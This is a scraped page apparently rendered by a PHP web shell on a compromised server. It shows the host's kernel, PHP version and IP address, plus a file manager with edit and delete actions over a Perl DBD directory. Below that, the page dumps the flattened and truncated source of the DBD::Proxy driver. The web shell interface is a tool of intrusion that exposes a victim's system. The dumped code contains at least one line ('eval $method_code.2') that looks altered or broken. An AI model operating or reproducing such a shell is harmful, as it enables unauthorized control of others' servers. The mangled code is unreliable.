x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/lib64/perl5/vendor_perl/DBD/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
File dir drwxr-xr-x 2023-04-05 00:01 R D
Gofer dir drwxr-xr-x 2023-04-05 00:01 R D
SQLite dir drwxr-xr-x 2023-04-05 00:35 R D
mysql dir drwxr-xr-x 2023-04-05 00:01 R D
  DBM.pm 50.874 KB -rw-r--r-- 2013-05-15 09:20 R E G D
  ExampleP.pm 11.88 KB -rw-r--r-- 2013-04-04 22:17 R E G D
  File.pm 36.438 KB -rw-r--r-- 2013-04-04 22:17 R E G D
  Gofer.pm 47.926 KB -rw-r--r-- 2014-06-10 01:06 R E G D
  NullP.pm 4.237 KB -rw-r--r-- 2013-04-04 22:17 R E G D
  Proxy.pm 28.593 KB -rw-r--r-- 2014-06-10 01:06 R E G D
  SQLite.pm 81.932 KB -rw-r--r-- 2013-06-09 15:04 R E G D
  Sponge.pm 7.794 KB -rw-r--r-- 2013-04-04 22:17 R E G D
  mysql.pm 63.088 KB -rw-r--r-- 2013-04-12 21:29 R E G D
REQUEST EXIT
# -*- perl -*- # # # DBD::Proxy - DBI Proxy driver # # # Copyright (c) 1997,1998 Jochen Wiedmann # # The DBD::Proxy module is free software; you can redistribute it and/or # modify it under the same terms as Perl itself. In particular permission # is granted to Tim Bunce for distributing this as a part of the DBI. # # # Author: Jochen Wiedmann # Am Eisteich 9 # 72555 Metzingen # Germany # # Email: joe@ispsoft.de # Phone: +49 7123 14881 # use strict; use Carp; require DBI; DBI->require_version(1.0201); use RPC::PlClient 0.2000; # XXX change to 0.2017 once it's released { package DBD::Proxy::RPC::PlClient; @DBD::Proxy::RPC::PlClient::ISA = qw(RPC::PlClient); sub Call { my $self = shift; if ($self->{debug}) { my ($rpcmeth, $obj, $method, @args) = @_; local $^W; # silence undefs Carp::carp("Server $rpcmeth $method(@args)"); } return $self->SUPER::Call(@_); } } package DBD::Proxy; use vars qw($VERSION $drh %ATTR); $VERSION = "0.2004"; $drh = undef; # holds driver handle once initialised %ATTR = ( # common to db & st, see also %ATTR in DBD::Proxy::db & ::st 'Warn' => 'local', 'Active' => 'local', 'Kids' => 'local', 'CachedKids' => 'local', 'PrintError' => 'local', 'RaiseError' => 'local', 'HandleError' => 'local', 'TraceLevel' => 'cached', 'CompatMode' => 'local', ); sub driver ($$) { if (!$drh) { my($class, $attr) = @_; $class .= "::dr"; $drh = DBI::_new_drh($class, { 'Name' => 'Proxy', 'Version' => $VERSION, 'Attribution' => 'DBD::Proxy by Jochen Wiedmann', }); $drh->STORE(CompatMode => 1); # disable DBI dispatcher attribute cache (for FETCH) } $drh; } sub CLONE { undef $drh; } sub proxy_set_err { my ($h,$errmsg) = @_; my ($err, $state) = ($errmsg =~ s/ \[err=(.*?),state=(.*?)\]//) ? ($1, $2) : (1, ' ' x 5); return $h->set_err($err, $errmsg, $state); } package DBD::Proxy::dr; # ====== DRIVER ====== $DBD::Proxy::dr::imp_data_size = 0; sub connect ($$;$$) { my($drh, $dsn, $user, $auth, $attr)= @_; my($dsnOrig) = $dsn; my %attr = %$attr; my ($var, $val); while (length($dsn)) { if ($dsn =~ /^dsn=(.*)/) { $attr{'dsn'} = $1; last; } if ($dsn =~ /^(.*?);(.*)/) { $var = $1; $dsn = $2; } else { $var = $dsn; $dsn = ''; } if ($var =~ /^(.*?)=(.*)/) { $var = $1; $val = $2; $attr{$var} = $val; } } my $err = ''; if (!defined($attr{'hostname'})) { $err .= " Missing hostname."; } if (!defined($attr{'port'})) { $err .= " Missing port."; } if (!defined($attr{'dsn'})) { $err .= " Missing remote dsn."; } # Create a cipher object, if requested my $cipherRef = undef; if ($attr{'cipher'}) { $cipherRef = eval { $attr{'cipher'}->new(pack('H*', $attr{'key'})) }; if ($@) { $err .= " Cannot create cipher object: $@."; } } my $userCipherRef = undef; if ($attr{'userkey'}) { my $cipher = $attr{'usercipher'} || $attr{'cipher'}; $userCipherRef = eval { $cipher->new(pack('H*', $attr{'userkey'})) }; if ($@) { $err .= " Cannot create usercipher object: $@."; } } return DBD::Proxy::proxy_set_err($drh, $err) if $err; # Returns undef my %client_opts = ( 'peeraddr' => $attr{'hostname'}, 'peerport' => $attr{'port'}, 'socket_proto' => 'tcp', 'application' => $attr{dsn}, 'user' => $user || '', 'password' => $auth || '', 'version' => $DBD::Proxy::VERSION, 'cipher' => $cipherRef, 'debug' => $attr{debug} || 0, 'timeout' => $attr{timeout} || undef, 'logfile' => $attr{logfile} || undef ); # Options starting with 'proxy_rpc_' are forwarded to the RPC layer after # stripping the prefix. while (my($var,$val) = each %attr) { if ($var =~ s/^proxy_rpc_//) { $client_opts{$var} = $val; } } # Create an RPC::PlClient object. my($client, $msg) = eval { DBD::Proxy::RPC::PlClient->new(%client_opts) }; return DBD::Proxy::proxy_set_err($drh, "Cannot log in to DBI::ProxyServer: $@") if $@; # Returns undef return DBD::Proxy::proxy_set_err($drh, "Constructor didn't return a handle: $msg") unless ($msg =~ /^((?:\w+|\:\:)+)=(\w+)/); # Returns undef $msg = RPC::PlClient::Object->new($1, $client, $msg); my $max_proto_ver; my ($server_ver_str) = eval { $client->Call('Version') }; if ( $@ ) { # Server denies call, assume legacy protocol. $max_proto_ver = 1; } else { # Parse proxy server version. my ($server_ver_num) = $server_ver_str =~ /^DBI::ProxyServer\s+([\d\.]+)/; $max_proto_ver = $server_ver_num >= 0.3 ? 2 : 1; } my $req_proto_ver; if ( exists $attr{proxy_lazy_prepare} ) { $req_proto_ver = ($attr{proxy_lazy_prepare} == 0) ? 2 : 1; return DBD::Proxy::proxy_set_err($drh, "DBI::ProxyServer does not support synchronous statement preparation.") if $max_proto_ver < $req_proto_ver; } # Switch to user specific encryption mode, if desired if ($userCipherRef) { $client->{'cipher'} = $userCipherRef; } # create a 'blank' dbh my $this = DBI::_new_dbh($drh, { 'Name' => $dsnOrig, 'proxy_dbh' => $msg, 'proxy_client' => $client, 'RowCacheSize' => $attr{'RowCacheSize'} || 20, 'proxy_proto_ver' => $req_proto_ver || 1 }); foreach $var (keys %attr) { if ($var =~ /proxy_/) { $this->{$var} = $attr{$var}; } } $this->SUPER::STORE('Active' => 1); $this; } sub DESTROY { undef } package DBD::Proxy::db; # ====== DATABASE ====== $DBD::Proxy::db::imp_data_size = 0; # XXX probably many more methods need to be added here # in order to trigger our AUTOLOAD to redirect them to the server. # (Unless the sub is declared it's bypassed by perl method lookup.) # See notes in ToDo about method metadata # The question is whether to add all the methods in %DBI::DBI_methods # to the corresponding classes (::db, ::st etc) # Also need to consider methods that, if proxied, would change the server state # in a way that might not be visible on the client, ie begin_work -> AutoCommit. sub commit; sub rollback; sub ping; use vars qw(%ATTR $AUTOLOAD); # inherited: STORE / FETCH against this class. # local: STORE / FETCH against parent class. # cached: STORE to remote and local objects, FETCH from local. # remote: STORE / FETCH against remote object only (default). # # Note: Attribute names starting with 'proxy_' always treated as 'inherited'. # %ATTR = ( # see also %ATTR in DBD::Proxy::st %DBD::Proxy::ATTR, RowCacheSize => 'inherited', #AutoCommit => 'cached', 'FetchHashKeyName' => 'cached', Statement => 'local', Driver => 'local', dbi_connect_closure => 'local', Username => 'local', ); sub AUTOLOAD { my $method = $AUTOLOAD; $method =~ s/(.*::(.*)):://; my $class = $1; my $type = $2; #warn "AUTOLOAD of $method (class=$class, type=$type)"; my %expand = ( 'method' => $method, 'class' => $class, 'type' => $type, 'call' => "$method(\@_)", # XXX was trying to be smart but was tripping up over the DBI's own # smartness. Disabled, but left here in case there are issues. # 'call' => (UNIVERSAL::can("DBI::_::$type", $method)) ? "$method(\@_)" : "func(\@_, '$method')", ); my $method_code = q{ package ~class~; sub ~method~ { my $h = shift; local $@; my @result = wantarray ? eval { $h->{'proxy_~type~h'}->~call~ } : eval { scalar $h->{'proxy_~type~h'}->~call~ }; return DBD::Proxy::proxy_set_err($h, $@) if $@; return wantarray ? @result : $result[0]; } }; $method_code =~ s/\~(\w+)\~/$expand{$1}/eg; local $SIG{__DIE__} = 'DEFAULT'; my $err = do { local $@; eval $method_code.2; $@ }; die $err if $err; goto &$AUTOLOAD; } sub DESTROY { my $dbh = shift; local $@ if $@; # protect $@ $dbh->disconnect if $dbh->SUPER::FETCH('Active'); } sub connected { } # client-side not server-side, RT#75868 sub disconnect ($) { my ($dbh) = @_; # Sadly the Proxy too-often disagrees with the backend database # on the subject of 'Active'. In the short term, I'd like the # Proxy to ease up and let me decide when it's proper to go over # the wire. This ultimately applies to finish() as well. #return unless $dbh->SUPER::FETCH('Active'); # Drop database connection at remote end my $rdbh = $dbh->{'proxy_dbh'}; if ( $rdbh ) { local $SIG{__DIE__} = 'DEFAULT'; local $@; eval { $rdbh->disconnect() } ; DBD::Proxy::proxy_set_err($dbh, $@) if $@; } # Close TCP connect to remote # XXX possibly best left till DESTROY? Add a config attribute to choose? #$dbh->{proxy_client}->Disconnect(); # Disconnect method requires newer PlRPC module $dbh->{proxy_client}->{socket} = undef; # hack $dbh->SUPER::STORE('Active' => 0); 1; } sub STORE ($$$) { my($dbh, $attr, $val) = @_; my $type = $ATTR{$attr} || 'remote'; if ($attr eq 'TraceLevel') { warn("TraceLevel $val"); my $pc = $dbh->{proxy_client} || die; $pc->{logfile} ||= 1; # XXX hack $pc->{debug} = ($val && $val >= 4); $pc->Debug("$pc debug enabled") if $pc->{debug}; } if ($attr =~ /^proxy_/ || $type eq 'inherited') { $dbh->{$attr} = $val; return 1; } if ($type eq 'remote' || $type eq 'cached') { local $SIG{__DIE__} = 'DEFAULT'; local $@; my $result = eval { $dbh->{'proxy_dbh'}->STORE($attr => $val) }; return DBD::Proxy::proxy_set_err($dbh, $@) if $@; # returns undef $dbh->SUPER::STORE($attr => $val) if $type eq 'cached'; return $result; } return $dbh->SUPER::STORE($attr => $val); } sub FETCH ($$) { my($dbh, $attr) = @_; # we only get here for cached attribute values if the handle is in CompatMode # otherwise the DBI dispatcher handles the FETCH itself from the attribute cache. my $type = $ATTR{$attr} || 'remote'; if ($attr =~ /^proxy_/ || $type eq 'inherited' || $type eq 'cached') { return $dbh->{$attr}; } return $dbh->SUPER::FETCH($attr) unless $type eq 'remote'; local $SIG{__DIE__} = 'DEFAULT'; local $@; my $result = eval { $dbh->{'proxy_dbh'}->FETCH($attr) }; return DBD::Proxy::proxy_set_err($dbh, $@) if $@; return $result; } sub prepare ($$;$) { my($dbh, $stmt, $attr) = @_; my $sth = DBI::_new_sth($dbh, { 'Statement' => $stmt, 'proxy_attr' => $attr, 'proxy_cache_only' => 0, 'proxy_params' => [], } ); my $proto_ver = $dbh->{'proxy_proto_ver'}; if ( $proto_ver > 1 ) { $sth->{'proxy_attr_cache'} = {cache_filled => 0}; my $rdbh = $dbh->{'proxy_dbh'}; local $SIG{__DIE__} = 'DEFAULT'; local $@; my $rsth = eval { $rdbh->prepare($sth->{'Statement'}, $sth->{'proxy_attr'}, undef, $proto_ver) }; return DBD::Proxy::proxy_set_err($sth, $@) if $@; return DBD::Proxy::proxy_set_err($sth, "Constructor didn't return a handle: $rsth") unless ($rsth =~ /^((?:\w+|\:\:)+)=(\w+)/); my $client = $dbh->{'proxy_client'}; $rsth = RPC::PlClient::Object->new($1, $client, $rsth); $sth->{'proxy_sth'} = $rsth; # If statement is a positioned update we do not want any readahead. $sth->{'RowCacheSize'} = 1 if $stmt =~ /\bfor\s+update\b/i; # Since resources are used by prepared remote handle, mark us active. $sth->SUPER::STORE(Active => 1); } $sth; } sub quote { my $dbh = shift; my $proxy_quote = $dbh->{proxy_quote} || 'remote'; return $dbh->SUPER::quote(@_) if $proxy_quote eq 'local' && @_ == 1; # For the common case of only a single argument # (no $data_type) we could learn and cache the behaviour. # Or we could probe the driver with a few test cases. # Or we could add a way to ask the DBI::ProxyServer # if $dbh->can('quote') == \&DBI::_::db::quote. # Tim # # Sounds all *very* smart to me. I'd rather suggest to # implement some of the typical quote possibilities # and let the user set # $dbh->{'proxy_quote'} = 'backslash_escaped'; # for example. # Jochen local $SIG{__DIE__} = 'DEFAULT'; local $@; my $result = eval { $dbh->{'proxy_dbh'}->quote(@_) }; return DBD::Proxy::proxy_set_err($dbh, $@) if $@; return $result; } sub table_info { my $dbh = shift; my $rdbh = $dbh->{'proxy_dbh'}; #warn "table_info(@_)"; local $SIG{__DIE__} = 'DEFAULT'; local $@; my($numFields, $names, $types, @rows) = eval { $rdbh->table_info(@_) }; return DBD::Proxy::p